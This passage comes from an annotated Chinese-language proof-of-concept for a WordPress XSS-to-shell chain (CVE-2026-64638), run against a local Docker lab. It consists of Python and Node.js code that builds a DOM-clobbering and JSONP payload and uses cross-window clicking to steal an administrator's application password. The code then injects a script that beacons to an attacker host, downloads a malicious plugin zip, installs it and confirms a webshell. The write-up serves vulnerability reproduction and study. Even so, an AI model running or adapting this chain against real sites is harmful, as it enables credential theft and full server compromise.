print(" 链路前提核查:%s" % base)
checks = []
# 1) 登录页是否加载了 user-profile.js —— 自动点击那一步的载体
login_html = ""
try:
_, _, login_html = http_request(base + "/wp-login.php")
except Exception as e:
print(" 登录页取不到:%s" % e)
checks.append(("登录页加载了 user-profile.js(自动点击的载体)",
"js/user-profile" in login_html))
# 2) 登录页是否定义了 ajaxurl —— 必须"没有定义",DOM clobbering 才有意义
checks.append(("登录页没有定义 ajaxurl(可被同名 id 元素劫持)",
"var ajaxurl" not in login_html))
# 3) 登录页是否加载了 jQuery —— $.post(ajaxurl, ...) 这一步的执行者
checks.append(("登录页加载了 jQuery($.post 由它发出)",
"jquery" in login_html.lower()))
# 4) 免认证的 REST JSONP 是否可用
jsonp_url = base + "/?rest_route=/&_jsonp=markerCallback&_method=GET"
js = ""
try:
_, _, js = http_request(jsonp_url)
except Exception:
pass
print(" JSONP 响应开头: %s" % js[:70].replace("\n", " "))
checks.append(("未认证就能拿到 REST JSONP 响应", js.lstrip().startswith("/**/markerCallback(")))
# 5) JSONP 回调名是否允许点号(允许才能写出属性链 window.opener.approve.click)
dot_url = base + "/?rest_route=/&_jsonp=window.opener.approve.click&_method=GET"
js2 = ""
try:
_, _, js2 = http_request(dot_url)
except Exception:
pass
print(" 属性链响应开头: %s" % js2[:80].replace("\n", " "))
checks.append(("回调名接受点号(可写属性链做跨窗口点击)",
"window.opener.approve.click(" in js2))
print()
for desc, okk in checks:
print(" %s %s" % ("\x1b[32m✓\x1b[0m" if okk else "\x1b[31m✗\x1b[0m", desc))
print()
print(" 说明:应用密码(RCE 段的开关)默认只在 HTTPS 或 local 环境可用,")
print(" 无法匿名探测,需在站点后台「用户 → 个人资料」页确认。")
print()
return checks

检查这条链后面的几步在服务端是否具备条件(都是纯 HTTP 可验的)

  • 第 1 条:登录页 HTML 里有 js/user-profile —— 自动点击的载体在
  • 第 2 条:登录页 HTML 里没有 var ajaxurl —— 这个”没有”才是必要条件
  • 第 3 条:登录页 HTML 里有 jquery —— $.post 的执行者
  • 第 4 条:响应以 /**/markerCallback( 开头 —— JSONP 端点免认证可用
  • 第 5 条:响应里有 window.opener.approve.click( —— 回调名接受点号

cmd_checkcheck 子命令的调度#

def cmd_check(args):
print("=" * 72)
print("CVE-2026-64638 漏洞与前提核查")
print("=" * 72)
print()
print("── 第一步:解析器分歧(漏洞本体)──")
print(" 同一个载荷,只改一处:`<` 后面有没有空格。")
print()
t = check_reflection(args.target, "被测目标")
if args.control:
check_reflection(args.control, "对照(官方修复版)")
vuln = [k for k, v in t.items() if v == "VULNERABLE"]
if vuln:
print("结论:目标存在 CVE-2026-64638。")
print(" 证据:%s 被 wp_kses_post 还原成了活标签 <area>。" % vuln[0])
print(" 反证:无空格的那条被 wp_strip_all_tags 整段删除(回显为空)。")
print(" 也就是说——尖括号后的那一个空格,就是整个漏洞的开关。")
else:
print("结论:目标未反射出活标签,漏洞不成立(或已被修复)。")
print()
print("── 第二步:后续利用链的服务端前提 ──")
print()
check_prerequisites(args.target)
print("=" * 72)
print("下一步:")
print(" python3 poc/xss2shell.py payload # 看载荷怎么拼出来的")
print(" python3 poc/xss2shell.py chain # 端到端打一遍(会调起无头 Chrome)")
print("=" * 72)
  • 对目标调 check_reflection → 拿到 VULNERABLE / SAFE / STRIPPED
  • 如果给了 --control(默认是 8089 上的官方修复版),也对它调一遍
  • 调 check_prerequisites 打链路前提
  • 最后把结论收敛成三句话:结论 / 证据 / 反证
print("结论:目标存在 CVE-2026-64638。")
print(" 证据:带空格 < area ...> 被 wp_kses_post 还原成了活标签 <area>。")
print(" 反证:无空格的那条被 wp_strip_all_tags 整段删除(回显为空)。")

刻意写成”证据 + 反证”这一对,是因为只给正向证据不算证明 —— 万一是目标站点自己就会回显任意 HTML 呢?配上”去掉一个空格就不回了”这条反证, 才能把因果锁死在那个空格上。这就是单变量对照的意义。


Tips—--control 传空字符串(--control "")可以跳过对照站点 cmd_check 里用 if args.control: 判断。这样只想快速看一眼目标时不用等两次请求。#

cmd_payload``payload 子命令#

def cmd_payload(args):
print("=" * 72)
print("载荷拆解")
print("=" * 72)
print()
print("整段载荷(就是塞进 wp-login.php 的 log 字段):")
print()
print(" " + PAYLOAD_RCE)
print()
print("拆成三块看:")
print()
print(" ① < area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>")
print(" · `< area` 中间那个空格 → PHP strip_tags() 不认它是标签 → 活下来")
print(" · id=ajaxurl → DOM clobbering:顶替登录页上并不存在的 ajaxurl 变量")
print(" · href=... → 变成脚本要请求的地址")
print(" rest_route=/ → 免认证的 REST 路由")
print(" _method=GET → 让 REST 把 POST 当成 GET 处理")
print(" _jsonp=... → 要求以 JSONP 返回,回调名就是那串属性链")
print()
print(" ② < div id=color-picker class=reset-pass-submit>")
print(" · user-profile.js 里有一段“自动生成密码”的代码,")
print(" 它会去找 .reset-pass-submit 并自动点击里面的 .wp-generate-pw 按钮")
print(" · 登录页本来没有这些元素,是这里凭空造出来的")
print()
print(' ③ < button class="wp-generate-pw color-option">X')
print(" · 既是 .wp-generate-pw(被自动点击),")
print(" 又是 .color-option(点击事件会冒泡到 #color-picker 的委托处理器)")
print()
print("两个易踩的坑:")
print(" · href 里必须用字面的 &,不能写 &amp;")
print(" sanitize_user() 会用正则 /&.+?;/ 把 HTML 实体整段删掉")
print(" (wp-includes/formatting.php:2156),写 &amp; 查询串就断了")
print(" · 三个 < 后面都要有空格。少一个,那段就被 strip_tags 删掉了")
print()

本质ai函数,把 PAYLOAD_RCE 这个常量讲给人听。

cleanup_plugin清理上一次攻击留下的插件目录#

def cleanup_plugin(container):
if not container:
return
if shutil.which("docker") is None:
print(" (未做环境清理:PATH 里没有 docker。若这是第二次运行,可能误报成功)")
return
target = "/var/www/html/wp-content/plugins/%s" % PLUGIN_SLUG
try:
p = subprocess.run(
["docker", "exec", container, "rm", "-rf", target],
stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=20,
)
except Exception as e:
print(" (未做环境清理:%s)" % e)
return
if p.returncode == 0:
print(" 环境清理:已删除 %s:%s(避免上次残留造成误判)" % (container, target))
else:
msg = p.stderr.decode("utf-8", "replace").strip().replace("\n", " ")[:120]
print(" (未做环境清理:%s)" % msg)

删掉目标容器里上一次留下的插件目录,让本次安装是”真的装上了”。 WordPress 不允许把插件解压到已存在的同名目录上,所以第二次运行时 update.php 会返回 Destination folder already exists ——插件其实没装上,但因为上一次的 shell.php 还在,链条最后一步照样有回显,于是谎报成功。这个函数把旧目录删掉,让”这次真的装上了”成为可重复的事实。

  • 它属于演示环境准备,不属于攻击链,所以单独一个函数、并且在输出里 明确打印一行”环境清理:已删除 …”,不混在攻击步骤里
  • 删不掉也不阻断:shutil.which("docker") 先查命令在不在, try/except 兜住 docker exec 的异常(比如容器名不对、docker 没启动)。 失败就打印一句”未做环境清理”,继续往下跑 —— 因为真正兜底的是 browser_chain 里那个更严的成功判据
  • 超时 20 秒:docker exec 偶尔会因为 daemon 卡住不返回, 不给超时的话整个 chain 会挂在这里,看起来又像”没输出”

--container 参数传空字符串可以彻底跳过这一步(比如目标是远程主机时, 本地根本没有对应的容器可清)。


Tips—这个因为一次出错而写的 第一次 chain 跑通。为了确认稳定性紧接着再跑第二次 ——照样打印「完整链路打通」,退出码 0。看着挺稳。

但我去容器里看了一眼插件目录的时间戳,发现文件还是第一次那批:

$ docker exec cve-2026-64638 ls -l --time-style=full-iso \
/var/www/html/wp-content/plugins/pwn-plugin/
-rw-r--r-- 1 www-data www-data 415 2026-09-21 05:59:22.931886467 +0000 shell.php
↑ 上一次运行的时间
$ date "+%Y-%m-%d %H:%M:%S"
2026-09-21 14:05:23 ← 第二次运行已经过去 6 分钟,文件却没动

当时的错误结论:“第二次也跑通了,说明链条很稳定。”

实际发生的:WordPress 不允许把插件解压到一个已经存在的同名目录上。 第二次 update.php 返回的是Destination folder already exists,也就是没装上(installed=false)。 而链条最后一步只是去请求 shell.php —— 那个文件是上一次留下的, 所以照样返回 rce:true。这个”成功”是假的。

信标日志里其实写得很清楚(/tmp/cve-2026-64638-capture.log):

{"step": "got-nonce"}
{"step": "fetched-zip", "bytes": "413"}
{"step": "uploaded", "installed": "false"} ← 没装上
{"step": "rce", "payload": "{...\"rce\":true...}"} ← 但旧文件还在,所以有回显

修法一:收紧成功判据

不能只看有没有 rce 回显。必须同时满足两条:

  • 「这次真的装上了」→ uploaded 记录的 installed 字段是 true
  • 「shell 真的执行了」→ rce 记录存在

而且要把判定结果反映到退出码上:

if (!(rceRecord && installedFresh)) process.exitCode = 1;

只打印不报错的话,Python 侧会用 rc != 0 判断成败, 于是这个假阳性会接着传染给独立验证那一步(那里也会因为旧文件而返回成功), 一个假阳性变成两个。

修法二:让「真的装上」这件事可重复

chain 开跑前先清掉容器里残留的插件目录:

Terminal window
docker exec cve-2026-64638 rm -rf /var/www/html/wp-content/plugins/pwn-plugin

这一步不是攻击链的一部分,是演示环境准备 —— 所以代码里单独放在 cleanup_plugin()(poc/xss2shell.py:302), 并在输出里明确打印一行:

环境清理:已删除 cve-2026-64638:/var/www/html/wp-content/plugins/pwn-plugin(避免上次残留造成误判)

删不掉也不阻断流程(目标是远程主机、或本地没装 docker 时都删不了)—— 那种情况下靠修法一收紧的判据如实报失败,不会再谎报成功。 这也是为什么”修法一”才是必需项,“修法二”只是让重复运行更省事。

教训:

  • “复现成功”必须有一个能区分新旧状态的证据。文件时间戳、 随机化的名字、或者”这次真的装上了”的返回值 —— 选一个,别偷懒
  • 凡是”从环境里读回来”的结果(回显、文件内容、状态码), 都要追问一句”这个结果有没有可能是上一轮留下的”
  • 退出码要表达判定结论,不能只表达”脚本没崩”

cmd_chain用随机调试端口#

def cmd_chain(args):
print("=" * 72)
print("CVE-2026-64638 端到端利用")
print("=" * 72)
print()
print("这一步会:")
print(" 0. 先清掉容器里上次残留的插件目录(保证这次是「真的装上了」)")
print(" 1. 起攻击者站点(attack/serve.py)")
print(" 2. 调起无头 Chrome 跑 poc/browser_chain.mjs:")
print(" 管理员登录 → 访问攻击页 → 预认证 XSS → 跨窗口点中「批准」→ 拿到应用密码")
print(" 3. 用应用密码走 REST 发布一个带 <script> 的页面")
print(" 4. 让浏览器打开那个页面 → 脚本借管理员会话上传插件 → 执行 PHP")
print()
node = args.node or "node"
serve = os.path.join(ROOT, "attack", "serve.py")
chain = os.path.join(HERE, "browser_chain.mjs")
# 每次换一个随机调试端口。
# 原因:Chrome 的调试端口是固定的话,上一轮没退干净的 Chrome 会顶在 9222 上,
# 新的浏览器实例连不上自己的调试端口,链条就会卡在第一步。
import random
debug_port = args.debug_port or random.randint(9300, 9800)
cleanup_plugin(args.container)
# 起攻击者站点(后台子进程),退出时收掉
attacker = subprocess.Popen([sys.executable, serve, str(args.attack_port)])
time.sleep(1.5)
try:
env = dict(os.environ)
env.update({
"TARGET": args.target,
"ATTACK": "http://127.0.0.1:%d" % args.attack_port,
"ADMIN_USER": args.admin_user,
"ADMIN_PASS": args.admin_pass,
"DEBUG_PORT": str(debug_port),
"CONTAINER": args.container or "",
})
proc = subprocess.run([node, chain], env=env, cwd=ROOT)
rc = proc.returncode
finally:
attacker.terminate()
attacker.wait(timeout=5)
if rc != 0:
print()
print("链路没有跑通(退出码 %d)。" % rc)
return rc
# 最后自己再去请求一次 webshell,独立确认代码执行是真的
print()
return cmd_verify(args)
debug_port = args.debug_port or random.randint(9300, 9800)

Chrome 的调试端口如果固定,上一轮没退干净的 Chrome 会占着这个端口, 新的 Chrome 起不来(或者更糟:连到那个残留实例上,而它没有我们的登录状态)。 随机挑一个就把这类干扰消掉了。

编排顺序也很讲究:先清场 → 再起攻击者站点 → 等 1.5 秒(等端口监听上)→ 跑浏览器链 → finally 里无论成功失败都收掉攻击者站点。 try/finally 是必须的,否则链跑挂了会留下一个占着 9099 的僵尸进程, 下次运行直接失败。

cmd_chain 只看子进程的退出码(if rc != 0)来判断成败。这就是为什么 browser_chain.mjs 必须把”这次到底有没有真的装上去”反映到 process.exitCode 上 —— 否则节点脚本打印一句”成功”、退出码仍然是 0,cmd_chain 就会接着去跑独立验证,而独立验证又会因为旧文件而返回成功,一个假阳性变成两个。

cmd_verify看自定义响应头#

def cmd_verify(args):
url = args.target.rstrip("/") + "/wp-content/plugins/%s/shell.php" % PLUGIN_SLUG
print("─" * 72)
print("独立验证:直接请求刚落地的 PHP")
print(" " + url)
try:
status, headers, body = http_request(url)
print(" HTTP %s" % status)
if "x-pwned-by" in headers:
print(" 响应头 X-Pwned-By: %s" % headers["x-pwned-by"])
if body.strip():
try:
info = json.loads(body)
print(" 代码执行结果: %s" % json.dumps(info, ensure_ascii=False))
if info.get("rce"):
print()
print(" \x1b[32m代码执行确认成功\x1b[0m(进程身份:%s)" % info.get("php_user"))
return 0
except ValueError:
print(" 响应体: " + body[:300])
print(" 没拿到预期结果——可能插件还没上传,或环境被加固了。")
return 1
except Exception as e:
print(" 请求失败: %s" % e)
return 1
if "x-pwned-by" in headers:
print(" 响应头 X-Pwned-By: %s" % headers["x-pwned-by"])

HTTP 头名在传输时不区分大小写,http.client 把它们原样返回(这里是全小写), 所以判断时用小写键名。

这个自定义头的作用是排除一部分误判:如果我们只检查响应体里的 {"rce":true}, 有可能是页面缓存、反向代理篡改、或者某个恰好同名的静态文件。 看到只有我们的 PHP 才会设置的响应头,才能确认”这段代码真的在跑”。

但要说清楚它的能力边界:这个头只能证明”我们的 PHP 执行了”, 不能证明”这个 PHP 是这一次刚上传的”。 上面那次假阳性里,旧文件同样会返回 X-Pwned-By。

cmd_versions#

def cmd_versions(args):
for label, base in (("target ", args.target), ("control", args.control)):
print("%s %-28s WordPress %s" % (label, base, fingerprint(base)))
if args.hardened:
print("hardened %-28s WordPress %s" % (args.hardened, fingerprint(args.hardened)))

用元组列表而不是字典,是为了保留打印顺序(字典在旧版本 Python 里无序)。 %-28s 是左对齐补空格,让两个地址的版本号能对齐成一列 —— 纯粹为了好看,但排查时一眼能对比出 7.0.2 和 7.0.3 的差别,值得。

main#

def main():
p = argparse.ArgumentParser(
description="CVE-2026-64638(WordPress XSS2Shell)复现 PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
sub = p.add_subparsers(dest="cmd")
c = sub.add_parser("check", help="纯 HTTP 验证漏洞与链路前提")
c.add_argument("--target", default=DEFAULT_TARGET)
c.add_argument("--control", default=DEFAULT_CONTROL, help="对照站点(官方修复版),传空字符串可跳过")
c.set_defaults(func=cmd_check)
pl = sub.add_parser("payload", help="打印载荷并逐段拆解")
pl.set_defaults(func=cmd_payload)
ch = sub.add_parser("chain", help="端到端跑一遍完整利用链")
ch.add_argument("--target", default=DEFAULT_TARGET)
ch.add_argument("--attack-port", type=int, default=DEFAULT_ATTACK_PORT)
ch.add_argument("--admin-user", default="admin")
ch.add_argument("--admin-pass", default="admin12345")
ch.add_argument("--node", default=None, help="node 可执行文件路径(默认用 PATH 里的)")
ch.add_argument("--debug-port", type=int, default=0, help="Chrome 调试端口(默认随机挑一个)")
ch.add_argument("--container", default=DEFAULT_CONTAINER,
help="目标容器名,仅用于开跑前清掉上次残留的插件目录;传空字符串可跳过")
ch.set_defaults(func=cmd_chain)
v = sub.add_parser("verify", help="独立验证 webshell")
v.add_argument("--target", default=DEFAULT_TARGET)
v.set_defaults(func=cmd_verify)
vs = sub.add_parser("versions", help="打印目标与对照的 WordPress 版本")
vs.add_argument("--target", default=DEFAULT_TARGET)
vs.add_argument("--control", default=DEFAULT_CONTROL)
vs.add_argument("--hardened", default="http://127.0.0.1:8090",
help="加固站点 URL(用于统一验证三个站点版本),传空字符串可跳过")
vs.set_defaults(func=cmd_versions)
args = p.parse_args()
if not getattr(args, "func", None):
p.print_help()
return 1
return args.func(args) or 0
if __name__ == "__main__":
# 让本脚本的 print 和子进程(node / Chrome)的输出保持先后顺序。
# 默认情况下 stdout 若是管道就是「块缓冲」——本脚本的标题会攒到最后才吐,
# 而 node 是直接写 fd 的,于是 `... | tail` 或重定向到日志时会看到
# 「子进程输出在前、自己的标题在后」这种错位,容易让人以为是脚本逻辑有问题。
try:
sys.stdout.reconfigure(line_buffering=True)
except Exception:
pass
sys.exit(main())
if not getattr(args, "func", None):
p.print_help()
return 1
return args.func(args) or 0
  • 用 set_defaults(func=...) 把子命令和函数绑在一起,省掉一长串 if/elif
  • 不传子命令时返回 1(而不是 0):直接跑 python3 xss2shell.py 而没给子命令,属于用法错误,退出码要能体现出来
  • args.func(args) or 0 处理”函数返回 None”的情况 —— cmd_versions 没有显式 return,None or 0 就是 0

poc/browser_chain.mjs 结构#

ES Module(.mjs)格式的 Node.js 脚本

第 34 行 参数区 —— 全部可被环境变量覆盖,方便换目标/换端口
第 53 行 class CDP —— 极简 DevTools Protocol 客户端
第 124 行 evaluate —— 在页面里执行 JS 并取回值
第 134 行 navAndWait —— 导航并等 load 事件(不等的话会在页面还没加载完时就去取元素)
第 147 行 attackerREST —— 攻击者本机:用应用密码走 REST 认证并发页
第 175 行 main —— 六个阶段的主流程(含 187 行的 Chrome stderr 环形缓冲)
#!/usr/bin/env node
/**
* CVE-2026-64638 复现 —— 浏览器端完整利用链(XSS → 应用密码 → 插件上传 → RCE)
*
* 为什么需要浏览器:
* 本漏洞的第一段(解析分歧导致反射型 XSS)可以只用 HTTP 请求验证;
* 但后面几段全部发生在浏览器里 —— user-profile.js 的自触发点击、
* DOM clobbering 覆盖 ajaxurl、JSONP 回调被当成脚本执行、
* 以及跨窗口(SOME)点击管理员授权页上的"批准"按钮。
* 而且最后一步"上传插件"必须借用管理员的 Cookie 会话:
* 应用密码只能认证 REST 请求,进不了 wp-admin(实测会被 auth_redirect 弹回登录页)。
* 所以这一段必须真的跑一个浏览器。
*
* 为什么用 CDP 而不是 Playwright / Puppeteer:
* 本机已经装了 Google Chrome,用 Node 22 内置的 WebSocket 直连
* Chrome DevTools Protocol 就够了,不需要 npm install 任何东西。
* 这与项目里"脚本走零依赖"的习惯一致。
*
* 角色分工(和真实攻击一致):
* Node 进程本身 = 攻击者的机器(只用应用密码走 REST,没有任何 Cookie)
* 浏览器标签页 = 受害者的浏览器(带着管理员的登录 Cookie)
*
* 用法:
* node poc/browser_chain.mjs
* 可用环境变量覆盖:TARGET / ATTACK / ADMIN_USER / ADMIN_PASS / DEBUG_PORT / CHROME
*/
import { spawn } from "node:child_process";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
// ── 可从环境变量覆盖的参数 ────────────────────────────────────
const TARGET = (process.env.TARGET || "http://127.0.0.1:8088").replace(/\/$/, "");
const ATTACK = (process.env.ATTACK || "http://127.0.0.1:9099").replace(/\/$/, "");
const ADMIN_USER = process.env.ADMIN_USER || "admin";
const ADMIN_PASS = process.env.ADMIN_PASS || "admin12345";
const DEBUG_PORT = Number(process.env.DEBUG_PORT || 9222);
const CHROME =
process.env.CHROME || "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome";
const CAPTURE_LOG = "/tmp/cve-2026-64638-capture.log";
const APPPASS_FILE = "/tmp/cve-2026-64638-apppass.json";
const PLUGIN_SLUG = "pwn-plugin";
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
// ── 极简 CDP 客户端 ──────────────────────────────────────────
// Chrome DevTools Protocol 就是一条 WebSocket 上的 JSON-RPC:
// 发出去 {id, method, params, sessionId?}
// 收回来 {id, result} 或 {method, params}(事件)
// 只需要这么点功能,所以手写一个,不引第三方库。
class CDP {
constructor(url, { stderrRef } = {}) {
this.ws = new WebSocket(url);
this.nextId = 1;
this.pending = new Map();
this.listeners = [];
this.stderrRef = stderrRef || null;
this.ready = new Promise((res, rej) => {
this.ws.addEventListener("open", () => res());
this.ws.addEventListener("error", () => rej(new Error("WebSocket 连接失败: " + url)));
});
this.ws.addEventListener("message", (ev) => {
const msg = JSON.parse(ev.data);
if (msg.id && this.pending.has(msg.id)) {
const { resolve, reject } = this.pending.get(msg.id);
this.pending.delete(msg.id);
msg.error ? reject(new Error(JSON.stringify(msg.error))) : resolve(msg.result);
} else if (msg.method) {
for (const fn of this.listeners) fn(msg);
}
});
// 连接断开时,把还没回包的请求全部拒绝掉。
// 这一步不是可选的:如果不管,那些 await 会永远挂着不动,
// Node 的事件循环一旦没有别的事情可做,进程会以**退出码 0** 静默结束 ——
// 看起来就像"脚本什么都没干就正常退出了",极难排查。
//
// 这里把 Chrome 自己的 stderr 尾巴也带出来。实测最有价值的一种断开是
// "Chrome 先崩了、WebSocket 才断"(浏览器侧发 close 1006),
// 光看"连接已断开"完全不知道该修哪里;把 stderr 摆出来一眼就能看到
// 是沙箱起不来、还是 GPU 进程反复崩导致 Chrome 主动退出。
this.ws.addEventListener("close", (ev) => {
const n = this.pending.size;
const tail = this.stderrRef ? this.stderrRef.tail() : "";
const reason = `调试连接已断开(close code=${ev.code},${n} 个请求没有拿到回包)。`
+ "常见三种原因:① 上一个 Chrome 实例没退干净、占着调试端口;"
+ "② Chrome 子进程沙箱起不来(受限 shell 里很常见,需要 --no-sandbox);"
+ "③ GPU 进程反复崩溃,Chrome 判定不可用后主动退出。"
+ (tail ? "\n──── Chrome stderr 末尾 ────\n" + tail : "");
for (const [, { reject }] of this.pending) reject(new Error(reason));
this.pending.clear();
});
}
send(method, params = {}, sessionId) {
const id = this.nextId++;
const payload = { id, method, params };
if (sessionId) payload.sessionId = sessionId;
this.ws.send(JSON.stringify(payload));
return new Promise((resolve, reject) => this.pending.set(id, { resolve, reject }));
}
/** 等某个事件(可按 sessionId 过滤),超时返回 null */
waitEvent(method, { sessionId, timeout = 15000 } = {}) {
return new Promise((resolve) => {
const fn = (msg) => {
if (msg.method !== method) return;
if (sessionId && msg.sessionId !== sessionId) return;
clearTimeout(t);
this.listeners = this.listeners.filter((f) => f !== fn);
resolve(msg.params);
};
const t = setTimeout(() => {
this.listeners = this.listeners.filter((f) => f !== fn);
resolve(null);
}, timeout);
this.listeners.push(fn);
});
}
}
async function evaluate(cdp, sessionId, expression) {
const r = await cdp.send(
"Runtime.evaluate",
{ expression, returnByValue: true, awaitPromise: true },
sessionId
);
if (r.exceptionDetails) throw new Error("页面内求值出错: " + JSON.stringify(r.exceptionDetails));
return r.result.value;
}
async function navAndWait(cdp, sessionId, url, timeout = 20000) {
const done = cdp.waitEvent("Page.loadEventFired", { sessionId, timeout });
await cdp.send("Page.navigate", { url }, sessionId);
await done;
await sleep(300);
}
const step = (n, t) => console.log("\x1b[36m[%s]\x1b[0m %s", String(n).padStart(2, " "), t);
const ok = (t) => console.log(" \x1b[32m✓\x1b[0m " + t);
const info = (t) => console.log(" · " + t);
// ── 角色:攻击者的机器(Node 直接发 HTTP,不带任何 Cookie)────
// 这一段对应"攻击者在自己的电脑上,拿着刚偷到的应用密码打 REST API"
async function attackerREST(appPassword, pageContent) {
const auth =
"Basic " + Buffer.from(`${ADMIN_USER}:${appPassword}`).toString("base64");
// 1) 先确认这个密码真的能当管理员用
const meRes = await fetch(`${TARGET}/?rest_route=/wp/v2/users/me`, {
headers: { Authorization: auth },
});
const me = await meRes.json();
if (!me || !me.id) throw new Error("应用密码无效: " + JSON.stringify(me).slice(0, 200));
ok(`应用密码通过 REST 认证,当前身份: ${me.slug} (id=${me.id}, roles=${(me.roles || []).join(",")})`);
// 2) 发布一个内容里带 <script> 的页面。
// 单站点管理员默认拥有 unfiltered_html,脚本原样入库。
const pageRes = await fetch(`${TARGET}/?rest_route=/wp/v2/pages`, {
method: "POST",
headers: { Authorization: auth, "Content-Type": "application/json" },
body: JSON.stringify({ title: "Screensaver Update", status: "publish", content: pageContent }),
});
const page = await pageRes.json();
if (!page.link) throw new Error("发页失败: " + JSON.stringify(page).slice(0, 300));
ok(`已发布页面 id=${page.id} → ${page.link}`);
info(`入库内容(raw,未被转义,说明 unfiltered_html 生效): ${String(page.content?.raw).slice(0, 80)}...`);
return page;
}
// ── 主流程 ───────────────────────────────────────────────────
async function main() {
const profile = fs.mkdtempSync(path.join(os.tmpdir(), "cve-2026-64638-chrome-"));
fs.writeFileSync(CAPTURE_LOG, "");
console.log("=".repeat(72));
console.log("CVE-2026-64638 XSS2Shell 完整利用链(浏览器端)");
console.log(" 目标站点 : " + TARGET);
console.log(" 攻击者站点 : " + ATTACK);
console.log("=".repeat(72));
// 把 Chrome 的 stderr 收集起来(只留最后 40 行,够定位问题又不会刷屏)。
// 正常跑完不打印;只有在 CDP 连接莫名断开时才会附到报错里。
const stderrRing = [];
const stderrRef = {
push: (chunk) => {
for (const line of String(chunk).split("\n")) if (line.trim()) stderrRing.push(line.trim());
while (stderrRing.length > 40) stderrRing.shift();
},
tail: () => stderrRing.slice(-8).join("\n"),
};
// 这几个参数不是可选项,缺一个链条就会卡在第一步:
// --no-sandbox 受限 shell 里 Chrome 自己的子进程沙箱初始化会失败
// (报 "sandbox initialization failed: Operation not permitted"),
// 进而 GPU 进程反复崩,Chrome 打出
// "GPU process isn't usable. Goodbye." 后带着 SIGTRAP 自杀,
// WebSocket 以 close 1006 断开,所有 CDP 请求石沉大海。
// --disable-gpu 无头环境本来也不需要真实 GPU
// --disable-dev-shm-usage 容器/受限环境里 /dev/shm 常常很小
// --disable-software-rasterizer 彻底关掉软件光栅化,避免再拉起 GPU 进程
const chrome = spawn(
CHROME,
[
"--headless=new",
"--remote-debugging-port=" + DEBUG_PORT,
"--user-data-dir=" + profile,
"--no-first-run",
"--no-default-browser-check",
"--no-sandbox",
"--disable-gpu",
"--disable-dev-shm-usage",
"--disable-software-rasterizer",
"--disable-popup-blocking", // 链条第一步要 window.open,弹窗拦截必须关掉
"about:blank",
],
{ stdio: ["ignore", "ignore", "pipe"] }
);
chrome.stderr.on("data", (d) => stderrRef.push(d));
try {
// 等 Chrome 把调试端口打开
let version = null;
for (let i = 0; i < 80 && !version; i++) {
try {
version = await fetch(`http://127.0.0.1:${DEBUG_PORT}/json/version`).then((r) => r.json());
} catch {
await sleep(250);
}
}
if (!version) {
throw new Error("Chrome 调试端口没起来(等 20 秒仍是空)。"
+ "如果用的是自己指定 CHROME 环境变量的浏览器,确认路径正确;"
+ "否则多半是 Chrome 启动即崩溃。\n──── Chrome stderr 末尾 ────\n" + stderrRef.tail());
}
step(0, "已连接无头 Chrome:" + version.Browser);
const cdp = new CDP(version.webSocketDebuggerUrl, { stderrRef });
await cdp.ready;
const { targetId } = await cdp.send("Target.createTarget", { url: "about:blank" });
const { sessionId } = await cdp.send("Target.attachToTarget", { targetId, flatten: true });
await cdp.send("Page.enable", {}, sessionId);
await cdp.send("Runtime.enable", {}, sessionId);
// ── 第 1 步:管理员登录(模拟"受害者此刻正登录着")
step(1, "管理员登录(模拟受害者已有活跃会话)");
await navAndWait(cdp, sessionId, TARGET + "/wp-login.php");
await evaluate(
cdp,
sessionId,
`(() => {
document.getElementById('user_login').value = ${JSON.stringify(ADMIN_USER)};
document.getElementById('user_pass').value = ${JSON.stringify(ADMIN_PASS)};
document.getElementById('loginform').submit();
return true;
})()`
);
await sleep(2500);
ok("登录成功,当前地址: " + (await evaluate(cdp, sessionId, "location.href")));
// ── 第 2 步:把管理员引到攻击者的第三方网站
step(2, "把管理员引到攻击者页面(社会工程学那一步)");
await navAndWait(cdp, sessionId, ATTACK + "/evil.html?t=" + encodeURIComponent(TARGET));
info("攻击页会:开子窗口写载荷表单 → 把主窗口送去授权页 → 子窗口提交载荷");
await sleep(1500);
ok("主窗口已被送去: " + (await evaluate(cdp, sessionId, "location.href")));
// ── 第 3 步:等链条跑完,主窗口被重定向回攻击者的回调地址
step(3, "等待自动点击链:子窗口 DOM clobbering → JSONP 回调 → 跨窗口点中「批准」");
let callbackUrl = null;
for (let i = 0; i < 60; i++) {
try {
const href = await evaluate(cdp, sessionId, "location.href");
if (href.includes("/cb?")) {
callbackUrl = href;
break;
}
} catch {
/* 页面正在导航,忽略 */
}
await sleep(500);
}
if (!callbackUrl) throw new Error("超时:没有等到回调(链条没跑通)");
const u = new URL(callbackUrl);
const appPassword = u.searchParams.get("password");
const siteUrl = u.searchParams.get("site_url");
const userLogin = u.searchParams.get("user_login");
ok("回调命中,WordPress 把新建的应用密码交给了攻击者");
console.log("");
console.log(" ┌───────────────── 窃取到的凭据 ─────────────────");
console.log(" │ site_url : " + siteUrl);
console.log(" │ user_login : " + userLogin);
console.log(" │ password : " + appPassword);
console.log(" └────────────────────────────────────────────────");
console.log("");
if (!appPassword) throw new Error("回调里没有 password 参数");
fs.writeFileSync(APPPASS_FILE, JSON.stringify({ siteUrl, userLogin, password: appPassword }, null, 2));
ok("凭据已落盘: " + APPPASS_FILE);
// ── 第 4 步(攻击者本机):用应用密码走 REST,发布带 <script> 的页面
// 这段 JS 会被放进页面正文。它跑在目标站自己的源上,
// 用的是管理员的 Cookie 会话 —— 因为上传插件要过 wp-admin 的 nonce 校验,
// 应用密码进不去 wp-admin(实测会被弹回登录页)。
const attackScript = `
<script>
(async () => {
const beacon = (k) => { try { (new Image()).src = ${JSON.stringify(ATTACK + "/cb")} + '?' + k; } catch (e) {} };
try {
// 1) 抓上传表单里的 _wpnonce
const form = await fetch('/wp-admin/plugin-install.php?tab=upload').then(r => r.text());
const m = form.match(/name="_wpnonce" value="([^"]+)"/);
if (!m) { beacon('step=no-nonce'); return; }
beacon('step=got-nonce');
// 2) 从攻击者站点把恶意插件包取回来(攻击者站点开了 CORS)
const blob = await fetch(${JSON.stringify(ATTACK + "/payload.zip")}).then(r => r.blob());
beacon('step=fetched-zip&bytes=' + blob.size);
// 3) 走 WordPress 自己的上传流程装插件
const fd = new FormData();
fd.append('_wpnonce', m[1]);
fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
fd.append('pluginzip', blob, 'payload.zip');
fd.append('install-plugin-submit', 'Install Now');
